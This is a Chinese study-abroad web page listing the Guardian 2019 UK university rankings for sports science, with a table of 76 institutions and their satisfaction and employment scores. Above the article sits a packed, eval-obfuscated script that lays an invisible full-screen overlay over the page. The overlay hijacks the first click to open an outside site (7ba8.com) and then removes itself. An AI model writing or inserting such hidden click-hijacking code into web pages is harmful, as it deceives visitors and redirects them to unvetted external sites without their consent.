<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>英国留学申请《卫报》发布了2019年英国大学排行榜(University league tables 2019),共有121所英国大学和54类专业上榜。这份和其他榜单不同的是,排名都是根据在校生投票选出的,是一份以学生体验为主的榜单,非常适合各位准备去英国留学的同学们参考。下面小傻为大家详细介绍2019卫报GUG英国大学运动科学专业排名。
排名 院校中文名 院校英文名 卫报评分 课程满意度 教学满意度 教学反馈满意度 学生与教员比例 毕业半年就业情况 大一结束年级升学率
1 利兹大学 University of Leeds 100 94.3 93.3 81.8 12.4 76 96.9
2 巴斯大学 University of Bath 97.1 88 94.6 84.4 22.9 84 93.9
3 拉夫堡大学 Loughborough University 95.3 92 92.6 74.9 15.4 79 97.6
4 伯明翰大学 University of Birmingham 93.3 89 87.1 76.9 16 84 97.3
5 金斯顿大学 Kingston University 93.2 97.1 97.4 96.8 8.7 n/a 82.3
6 阿伯丁大学 University of Aberdeen 88.7 87.1 86.1 79.3 17.4 n/a n/a
7 杜伦大学 Durham University 88.4 92 90 80.6 16.8 80 90.3
8 班戈大学 Bangor University 87.1 93.1 91.3 82.7 17 66 89.9
9 格拉斯哥大学 University of Glasgow 87 86.6 90 62.5 17.8 n/a n/a
10 史塔福郡大学 Staffordshire University 85.3 88 92.3 84.7 13.5 77 80.8
11 安格利亚鲁斯金大学 Anglia Ruskin University 84.7 93.9 95.3 85.7 16.8 66 83.3
12 埃克塞特大学 University of Exeter 84.6 90 90 72.1 20.8 79 94.2
13 朴茨茅斯大学 University of Portsmouth 83.1 87 91.3 82.3 19.9 80 89.6
14 爱丁堡大学 University of Edinburgh 82.9 74.3 78 64.1 13.9 81 92.6
15 东英格利亚大学 University of East Anglia 81.6 80.9 80.4 74.5 n/a n/a n/a
16 林肯大学 University of Lincoln 80.6 91.6 89 79.1 11.6 71 82.1
17 利物浦霍普大学 Liverpool Hope University 79.5 98 96.4 89.8 16.4 75 82.6
18 斯旺西大学 Swansea University 78.6 94.1 90 74.3 18.8 78 89.3
19 埃塞克斯大学 University of Essex 77.7 91 89.7 77.9 17.9 68 85.9
20 格鲁斯特大学 University of Gloucestershire 77.1 89 90.7 82.1 18.3 72 87.4
21 诺丁汉特伦特大学 Nottingham Trent University 76.5 85.9 89 76.3 20.8 66 89
22 考文垂大学 Coventry University 76.1 91.1 91.7 79.9 24.8 81 87.2
23 布拉德福德大学 University of Bradford 75.5 78.8 83.8 68.4 17 n/a n/a
24 布莱顿大学 University of Brighton 75.1 88.1 87.6 75.6 18.7 64 89.7
25 牛津布鲁克斯大学 Oxford Brookes University 74.8 81.2 83.9 69.4 13.7 53 95.1
26 切斯特大学 University of Chester 74.1 95 97.6 83.8 16.6 67 88.5
27 谢菲尔德哈勒姆大学 Sheffield Hallam University 73.9 86.9 89 75.1 19.4 67 88
28 中央兰开夏大学 University of Central Lancashire 73.8 93 92.4 82 15.9 65 79.5
29 德比大学 University of Derby 73.6 87 85.3 79.4 18.7 67 85.6
29 温彻斯特大学 University of Winchester 73.6 79 85 76.3 15.9 84 90
31 卡迪夫都市大学 Cardiff Metropolitan University 73.5 86 86.3 74.4 17.9 66 87.7
31 曼彻斯特城市大学 Manchester Metropolitan University 73.5 77 81.4 64.5 11.7 72 87.4
33 利物浦约翰摩尔大学 Liverpool John Moores University 72.1 81.2 79.5 75.4 18.4 76 85.2
34 阿尔斯特大学 University of Ulster 71.9 87 90.1 69.4 21.3 68 90.9
35 波尔顿大学 University of Bolton 71.5 82 83.3 80 12.4 74 79.2
36 伯恩茅斯大学 Bournemouth University 71.4 90.1 89.6 86 25.3 71 83.3
37 萨福克大学 University of Suffolk 71.1 84.7 88.5 82.6 17.8 n/a 72.5
38 斯特林大学 University of Stirling 70.2 84 85.7 65.5 16.2 73 90.3
39 索伦特大学 Solent University 69.3 84 87 69.8 18.4 65 85.7
39 贝德福德大学 University of Bedfordshire 69.3 85 86.6 73.4 13.3 76 80.4
41 特威克南圣玛丽大学 St Mary's University, Twickenham 68.9 79.8 78.6 65.6 17.3 77 85.7
41 爱丁堡龙比亚大学 Edinburgh Napier University 68.9 83 88.7 69.2 17.7 56 90.9
43 阿伯泰大学 Abertay University 68.7 86 85 79.5 14.8 66 86.7
44 赫尔大学 University of Hull 68.6 90.1 94 80.6 17.6 56 83.4
45 肯特大学 University of Kent 68.4 75.8 83 66.3 22.5 82 86.8
46 威尔士三一圣大卫大学 University of Wales, Trinity Saint David 68 77.6 78.9 71 14.3 66 80.8
47 提赛德大学 Teesside University 67.9 74 82 75 15.8 72 81.5
48 罗伯特戈登大学 Robert Gordon University 67.8 89.1 86.4 65.3 23 81 n/a
49 伦敦都市大学 London Metropolitan University 67.4 93.4 92.6 85.4 19.5 77 75.8
50 桑德兰大学 University of Sunderland 67.3 78 82 75.4 14.6 60 81.7
51 布鲁内尔大学 Brunel University 66.4 82.1 85.1 74 22.9 66 88.5
52 罗汉普顿大学 Roehampton University 66.2 80 81.7 76.6 15.3 85 79.8
53 阿伯里斯特维斯大学 Aberystwyth University 66 87.7 84.6 78.1 13.6 72 n/a
54 圣马克与圣约翰大学 Marjon (University of St Mark and St John) 64.8 85 86 65.7 17.2 59 82.9
55 奇彻斯特大学 University of Chichester 64.7 85 86 72.5 19.1 65 89.3
56 伦敦南岸大学 London South Bank University 63.5 83 83 66.4 10.8 n/a n/a
57 索尔福德大学 University of Salford 63.3 88.9 93.3 90.8 19.4 61 80.1
58 西苏格兰大学 University of the West of Scotland 62.8 89.1 89.7 82.3 28.1 61 n/a
59 诺森比亚大学 Northumbria University 62.5 86 83.4 71.8 24.9 65 85.6
60 东伦敦大学 University of East London 61.3 82.8 87.3 72.9 26.1 74 82
60 赫特福德大学 University of Hertfordshire 61.3 77 87 67.7 21.1 73 84.6
62 格林多大学 Glyndwr University 60.8 77 81.5 78.6 15.8 n/a 78.8
63 边山大学 Edge Hill University 59.9 81 84.6 79.5 22.1 61 83.9
64 格林威治大学 University of Greenwich 59.8 73.4 75.8 52.1 14.6 77 83
65 纽曼大学 Newman University 59.2 80.8 87 71.3 17.8 69 82.5
66 伍斯特大学 University of Worcester 58.7 81.8 82 70.3 20.3 69 86.7
67 北安普顿大学 University of Northampton 53.1 82.9 81.5 73.9 24 n/a 79
68 利兹贝克特大学 Leeds Beckett University 52.7 85 86 68.8 21 63 82.9
69 密德萨斯大学 Middlesex University 52.4 74.6 72 67.5 20.5 69 77.2
70 坎特伯雷基督大学 Canterbury Christ Church University 52 84 83.3 78.2 23.4 58 79.1
71 胡弗汉顿大学 University of Wolverhampton 51.9 82.2 85 72.7 22 63 78.1
72 利兹三一大学学院 Leeds Trinity University 49.3 80.5 83.2 67.7 19.4 63 84.4
73 南威尔士大学 University of South Wales 48.3 83.8 79.6 74.9 27.4 56 81.1
74 新白金汉大学 Bucks New University 48.1 62 75.8 66.1 16.9 66 77.5
75 哥比亚大学 University of Cumbria 46.7 76.2 82.7 72.1 17.7 54 80.9
76 约克圣约翰大学 York St John University 35.2 70 75.3 70.8 24.3 53 85.3 |
|